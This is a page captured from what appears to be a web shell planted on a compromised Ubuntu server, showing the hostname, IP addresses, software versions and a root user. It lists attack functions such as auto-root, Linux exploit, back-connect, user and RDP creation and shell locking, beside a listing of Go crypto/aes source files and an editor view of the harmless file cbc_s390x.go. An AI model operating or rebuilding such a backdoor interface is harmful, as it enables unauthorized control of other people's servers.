Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
crypto /
aes /
[ HOME SHELL ]
Name
Size
Permission
Action
aes_gcm.go
5.72
KB
-rw-r--r--
aes_test.go
11.3
KB
-rw-r--r--
asm_amd64.s
5.4
KB
-rw-r--r--
asm_arm64.s
6.86
KB
-rw-r--r--
asm_ppc64le.s
20.17
KB
-rw-r--r--
asm_s390x.s
4.38
KB
-rw-r--r--
block.go
6.5
KB
-rw-r--r--
cbc_s390x.go
1.57
KB
-rw-r--r--
cipher.go
1.85
KB
-rw-r--r--
cipher_asm.go
2.32
KB
-rw-r--r--
cipher_generic.go
740
B
-rw-r--r--
cipher_ppc64le.go
2.07
KB
-rw-r--r--
cipher_s390x.go
2.6
KB
-rw-r--r--
const.go
29.32
KB
-rw-r--r--
ctr_s390x.go
2.44
KB
-rw-r--r--
gcm_amd64.s
23.42
KB
-rw-r--r--
gcm_arm64.s
21.52
KB
-rw-r--r--
gcm_ppc64le.go
6.7
KB
-rw-r--r--
gcm_ppc64le.s
12.78
KB
-rw-r--r--
gcm_s390x.go
11.35
KB
-rw-r--r--
modes.go
1.15
KB
-rw-r--r--
modes_test.go
3.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cbc_s390x.go
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package aes import ( "crypto/cipher" "crypto/internal/subtle" ) // Assert that aesCipherAsm implements the cbcEncAble and cbcDecAble interfaces. var _ cbcEncAble = (*aesCipherAsm)(nil) var _ cbcDecAble = (*aesCipherAsm)(nil) type cbc struct { b *aesCipherAsm c code iv [BlockSize]byte } func (b *aesCipherAsm) NewCBCEncrypter(iv []byte) cipher.BlockMode { var c cbc c.b = b c.c = b.function copy(c.iv[:], iv) return &c } func (b *aesCipherAsm) NewCBCDecrypter(iv []byte) cipher.BlockMode { var c cbc c.b = b c.c = b.function + 128 // decrypt function code is encrypt + 128 copy(c.iv[:], iv) return &c } func (x *cbc) BlockSize() int { return BlockSize } // cryptBlocksChain invokes the cipher message with chaining (KMC) instruction // with the given function code. The length must be a multiple of BlockSize (16). //go:noescape func cryptBlocksChain(c code, iv, key, dst, src *byte, length int) func (x *cbc) CryptBlocks(dst, src []byte) { if len(src)%BlockSize != 0 { panic("crypto/cipher: input not full blocks") } if len(dst) < len(src) { panic("crypto/cipher: output smaller than input") } if subtle.InexactOverlap(dst[:len(src)], src) { panic("crypto/cipher: invalid buffer overlap") } if len(src) > 0 { cryptBlocksChain(x.c, &x.iv[0], &x.b.key[0], &dst[0], &src[0], len(src)) } } func (x *cbc) SetIV(iv []byte) { if len(iv) != BlockSize { panic("cipher: incorrect length IV") } copy(x.iv[:], iv) }
Close